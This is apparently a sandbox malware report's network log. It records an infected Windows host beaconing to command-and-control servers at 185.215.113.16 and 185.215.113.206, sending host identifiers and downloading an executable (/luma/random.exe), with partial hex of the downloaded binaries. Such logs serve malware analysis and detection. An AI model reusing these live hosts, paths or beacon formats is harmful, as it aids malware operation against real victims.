00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 52 52 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@rRR!@P.d. p.v@.rsrc .@.idata .@ *.@dcpywpmoX@ghlarfhjprL @.taggant0r"P @
Nov 1, 2024 12:34:04.577701092 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:04.577713966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:04.577733994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:04.577740908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:04.577747107 CET	1236	IN	Data Raw: 6c 1c e4 4b 91 bb 98 02 1f 5c bf 52 44 36 9d ed b2 60 b8 d4 18 86 d9 cd e8 a5 3c e6 dc d0 8a a5 07 e6 f2 fe 9e 51 18 3f cd bb 65 9d 61 4d 04 f4 87 91 96 14 41 8e 93 d4 c6 a9 32 2b 00 b0 8a dc 61 f3 de 80 1d 59 5e 6f 3a 3c 7a 54 59 cc d5 64 61 31 Data Ascii: lK\RD6`<Q?eaMA2+aY^o:<zTYda1pPfV>XXEiV0'.v(z]7lXt<eMOJEOZSP=HOHCRVjI]8!flnoIzY&
Nov 1, 2024 12:34:04.577752113 CET	1236	IN	Data Raw: 87 a3 2c d7 13 19 ab ff a2 98 83 a6 3b a1 0c ad 3c 3d 5d 16 63 8d 45 fe ab f5 d1 cc 72 63 25 8c ca 4d 40 22 a8 c6 4a 4b 25 b4 b5 45 9b b5 76 f1 47 84 79 86 ab f3 51 06 67 a8 7e c1 17 49 48 c7 62 ff 1d f7 70 49 80 77 51 5e 4c 4a fa 4b 8b 42 0e 0c Data Ascii: ,;<=]cErc%M@"JK%EvGyQg~IHbpIwQ^LJKBSwZ%Ok_6Y4w"JE>N[><k{ez~nd_R!t1{d7xtRnEs6uJZ4-(7\|N@g#(;
Nov 1, 2024 12:34:04.577790022 CET	1236	IN	Data Raw: 41 af 84 e4 5a dd 83 73 85 92 5d cd 62 f1 83 84 5e ae 20 76 b3 3e b2 35 ab a0 b4 aa 82 ee df 6b 93 ad 2c 67 10 0d bc 8c 84 f7 68 94 a9 39 38 ff 96 af 6b 9f d2 cf 6a fe c8 28 b5 ff 3a 2a 99 4d 9b 14 03 af 2a cf 83 d6 1b 8a 87 4a 67 f5 51 e2 a4 b1 Data Ascii: AZs]b^ v>5k,gh98kj(:MJgQ{I k~h[n4W[VOi9#05^nibmHh=Qvs1\|i(?f9@A}2Ukr&G;gyM<
Nov 1, 2024 12:34:04.577800989 CET	1236	IN	Data Raw: 03 35 36 84 de f9 c1 6f e8 a0 ec cf b9 3b 98 b2 a5 be 5f 0e 03 a0 c4 83 50 18 0c a8 7c d3 9b 97 1b df 93 87 13 30 00 a9 fb d3 6a cf 08 a0 9c 9e 26 17 33 c2 6b eb ba ff 42 b8 b5 fa fe 0d 4c f1 97 c8 83 3c 1b 83 8a 4a 40 01 fa 4d 8b a0 b4 4a 83 64 Data Ascii: 56o;_P\|0j&3kBL<J@MJdw~7A9OT/{8xt8giUr_FLTJYJDHhWv[1DMZdhw3(W3{z%pn(crJKXzHDt%HY$
Nov 1, 2024 12:34:04.577857018 CET	1236	IN	Data Raw: 6b 6e ed ef f2 a0 7a 06 6e 0e e6 3a 79 2c fc 43 10 79 9d 3e 2c c1 cc 0c d3 28 83 26 03 f8 36 ec 92 16 6a 84 22 a8 d4 f4 72 76 4c 20 0e f9 ac fc 0e 90 89 f9 72 75 57 40 69 b9 7a 84 16 ae be 4e 03 1b 58 ee 68 dd b4 2b 0d 35 77 72 f7 37 64 ff 1a f9 Data Ascii: knzn:y,Cy>,(&6j"rvL ruW@izNXh+5wr7d<2,\|F>Idy0(n061Om`o1zM2l3Io?8nq8Zx/1<pqy)I(ZIW=kI^JixS0.
Nov 1, 2024 12:34:04.577863932 CET	896	IN	Data Raw: 17 b4 30 5b 8b a9 5c ff d9 b4 7a a1 be 35 41 2e 60 04 5c b7 dc b9 66 44 ef a5 38 cb dd de f0 2d 1a b8 c2 cb ca 87 b9 42 4e 66 66 26 9b 9c 5b ef a0 8f 60 38 f9 58 84 57 8b 9d d7 0e 7c 0c 50 63 62 3f 15 6f f7 9d 16 a4 8a 1b b3 30 0e b6 38 b6 56 48 Data Ascii: 0[\z5A.`\fD8-BNff&[`8XW\|Pcb?o08VHK.MuwcizRa$8zyJ`J42zB<yX3=%<[JYZm0-^4uk4b,hQG!t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49971	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:06.680038929 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 35 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001508001&unit=246122658369
Nov 1, 2024 12:34:07.568274021 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49972	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:07.729269981 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:08.629257917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:08.632304907 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:08.922647953 CET	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 0d 0a 20 3c 63 3e 31 30 30 31 35 30 39 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 63 32 64 64 30 61 31 62 66 65 35 32 32 62 33 65 66 66 62 62 64 34 65 36 34 65 33 61 61 36 33 36 62 37 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 61 <c>1001509001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0a1bfe522b3effbbd4e64e3aa636b77#<d>0
Nov 1, 2024 12:34:08.935372114 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:34:09.221199989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:09 GMT Content-Type: application/octet-stream Content-Length: 2937856 Last-Modified: Fri, 01 Nov 2024 10:53:44 GMT Connection: keep-alive ETag: "6724b338-2cd400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 30 00 00 04 00 00 17 5f 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@0_-@Th@ ~@.rsrc@@.idata @rdpqavxy **@vlmkkwpy/,@.taggant0/",@
Nov 1, 2024 12:34:09.221209049 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:09.221220016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:09.221226931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:09.221234083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:09.221246958 CET	336	IN	Data Raw: f4 d7 f6 70 48 9e 6a 50 70 27 43 43 4a 2b 8d 7e 50 85 f6 ae 82 b6 54 56 73 b6 7c 2e 88 b9 da a3 77 b5 c6 5b 5f cf 72 e0 e2 e2 9a 13 6e 9d 83 87 ed bb b0 33 dc 2d bc 7e e8 96 4b b8 63 ad 42 ef 65 c2 d2 6c b8 de 8f f2 5e 36 09 4b 2d 76 61 36 f8 0f Data Ascii: pHjPp'CCJ+~PTVs\|.w[_rn3-~KcBel^6K-va6Qe8N3XME;S4;M5_{K':MvF><^x]J9A?O;F"$B?7 ;#7"ekIkGDP;60-/dSwR_'F/<H{ ['?
Nov 1, 2024 12:34:09.221429110 CET	1236	IN	Data Raw: df 34 6a 64 84 c7 bc 91 a0 e3 8f ff f2 4e 85 3d 58 a0 7e ad 77 1f 45 c7 d0 58 10 b1 32 42 13 56 f4 38 ac 2e 73 88 25 bc 39 e5 75 f4 4a df 86 2a e6 46 b6 c0 f4 0a 24 a7 36 a4 59 85 80 bc 0a 4b 74 32 61 c2 3c ab 7b b1 db 20 6b e4 f6 fa b7 96 51 d3 Data Ascii: 4jdN=X~wEX2BV8.s%9uJF$6YKt2a<{ kQES[n_mbU~j@q=[P-l'z( <UCnZ:KsZ@Hb7iz\Antk{zAz(YC u
Nov 1, 2024 12:34:09.221443892 CET	1236	IN	Data Raw: 55 3b 83 47 ae 1e 4d 30 f4 2d f4 9b 6e ac 8f 52 1c c7 f3 96 6a 72 44 b5 48 3a ae 7c b5 f6 9c 39 7c 0b cd 4a 8b 7b 78 fc e1 fc 56 f0 66 d7 08 ae e9 e3 f9 4a 23 9b 52 6d d6 4c 61 68 c7 70 85 77 8e b3 d4 dc f0 ca 43 ee ce a2 b4 79 a4 20 ea 1f 6f dd Data Ascii: U;GM0-nRjrDH:\|9\|J{xVfJ#RmLahpwCy oG4i)<~O13t#n\|Oojc[%{lfRczk&Y8\|="j#.SPW`3:>;I.6 Nc:K
Nov 1, 2024 12:34:09.221461058 CET	1236	IN	Data Raw: e5 d4 1e 43 48 c6 2b 4e 35 9f 28 13 94 a2 8d e2 d8 b5 bc 62 07 f3 e3 1c fc 36 13 af 33 32 64 0a 54 da 8e 50 57 79 ba 49 d1 9f 7b 33 b5 9e 4b 64 db b6 b1 79 f4 45 2c ef b9 88 a3 67 01 3d f4 f2 85 4a 8a 28 f1 0d 9c 69 2b e3 0c 30 4b 5d b9 5b 0e 07 Data Ascii: CH+N5(b632dTPWyI{3KdyE,g=J(i+0K][MtDvHx/6s1n}nd[6]>6j=(7)'[Ci`.FmCc2xr6Fc)^CR:d*g$n>Jt<1,
Nov 1, 2024 12:34:09.221467018 CET	1236	IN	Data Raw: 73 db a2 2b e0 f0 f5 85 4c 2e ff 2b cb 2e bf e5 f5 da 1b 04 f1 10 7b 25 77 f1 de b0 e0 3b 8d b9 f6 cc 4a 6c f0 8c 58 07 e0 6d dd 2d 8c a8 1d 52 22 69 f9 ea 8e ee 8a 7e 71 b6 12 75 e0 86 ca 94 aa ae bc ac cd a0 34 aa 74 d6 f4 9e 50 5d ea a1 4e ab Data Ascii: s+L.+.{%w;JlXm-R"i~qu4tP]N)0AP}n 2DY7,^Ivv:>!Ot002[pl{$Hq#H0]R5LTWOM@"X;1@xMj=VK9X5CbTgU%V[
Nov 1, 2024 12:34:09.221477985 CET	448	IN	Data Raw: fe af 30 7b 92 4d 01 af 3d 82 a1 bf 74 02 7c b5 22 b7 68 8d a9 d6 3a 19 14 18 93 98 5d e2 f2 9b f4 e9 25 21 32 ff 4c 50 fc 85 75 ab b4 66 37 d7 fa c2 26 b0 ea f5 38 89 96 3e 8b b4 a3 f2 86 57 b1 9e d1 8f af d1 51 c7 75 31 b4 ad ad 0c 49 e3 3d 49 Data Ascii: 0{M=t\|"h:]%!2LPuf7&8>WQu1I=IBfMu 5c~eud5;TB5nIg2]^n+nRo hBhhA8p6?l(?{elGfGaB\\|D;,z'hU<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49973	185.215.113.206	80	640	C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:08.600298882 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 12:34:09.508712053 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 12:34:09.511589050 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEG Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 34 34 38 41 34 31 35 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 2d 2d 0d 0a Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="hwid"A3F448A415BB883884179------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="build"tale------HJJJDAEGIDHCBFHJJJEG--
Nov 1, 2024 12:34:09.800780058 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49975	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:11.343264103 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001509001&unit=246122658369
Nov 1, 2024 12:34:12.242275953 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49976	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:12.354995012 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:13.253590107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:13.259772062 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:13.541591883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49977	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:13.651787043 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:14.558655024 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:14.562416077 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:14.844605923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49979	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:14.966824055 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:15.871655941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:15.872600079 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:16.160604000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49981	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:16.277415991 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:17.171116114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
